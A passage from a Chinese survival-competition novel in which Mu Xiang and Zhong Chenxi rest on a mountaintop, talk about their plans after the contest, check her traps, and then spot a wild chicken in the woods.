山顶的视野广阔,可以看到远处群山,唯一的遗憾是天气不太好,太阳被云层遮挡,山河像是蒙了一层灰。
木香抬头望天,估摸着又要下雨了。
一场秋雨一场寒,之后会更冷,很快又有一批人要退赛了。
钟臣溪瞄了一眼木香,也跟着她抬头看天,然后感叹道:“今天天气真好啊,你说呢?”
“……”木香奇怪的看了他一眼。
他是不是眼睛坏了?
钟臣溪尴尬的挠挠头:“木香,等比赛结束后,你想做什么?”
木香不说话,但钟臣溪脸皮厚得很:“那我先说,等比赛结束后,我打算申请成为特殊救援队的正式成员。”
钟臣溪从小喜欢户外运动,但初中时期的一场户外事故,导致好友的去世,让他放弃了这个爱好。
后来他去国外读书,慢慢放下心结,再次去亲近和探索大自然,在这个过程中,他偶尔会帮助一些人。
最终,他确定了自己想要做的事情。
木香不知道什么是救援队,她继续沉默,但依旧阻挡不了钟臣溪的热情:“那你呢?”
“……”真是没完没了啊。
“我都说了,礼尚往来,该你说了。”
“我早说过,拿到奖金,租房子、品尝美食。”
钟臣溪愣住:“木香,我不是问你怎么用奖金,我是问你的……未来打算,或者说人生理想?”
“对我来说都一样,这就是我的人生理想。”
她的未来打算很简单,好好的体会一下这个没有战乱、没有饥荒的太平时代。
这在她那个时候,简直是不敢想的。
这里就像是个世外桃源!
当然,前提是有点钱。
钟臣溪盯着木香,有些不可思议。
在他看来,木香勤快能干,绝不是一个好吃懒做的人。
但她刚才说话的样子十分认真,绝不是说谎。
他真是越来越搞不懂这个女人了。
……
他们在山顶休息了一会儿,随后木香带路下山了。
木香直接去了她布置弹力陷阱的区域,七八个陷阱,有几个被触发,但却毫无所获。
只有其中一个陷阱旁边留下了几根灰色的羽毛。
“这是珍珠鸡的羽毛。”这是赛方投放的二代野鸡,可惜他们运气不好,只收获了几根毛。
钟臣溪把这几根毛小心翼翼收集起来,谁说这不是一种战利品呢?
木香布置好陷阱后,两人继续在林中探索。
这片林子接近中区,昨天她来过,但没有仔细探索,今天时间充裕,木香在林子里仔细搜寻。
钟臣溪也没闲着,隔着她一段距离,也在四下查看。
不多时,钟臣溪有了发现,他发现了几株山药,它们藤蔓纠缠,四面攀缘,长势喜人,地下的存货估计不少。
钟臣溪喜出望外,他打算把这个好消息告诉木香,一抬头,发现木香也正看向他。
她脸色严肃,向他做了个禁声的动作。
钟臣溪正纳闷,木香又两手合拢,做成一个形状,钟臣溪一眼认出,那是鸡。
钟臣溪明白了,木香发现了鸡!
他用手捂住嘴巴,冲木香点头。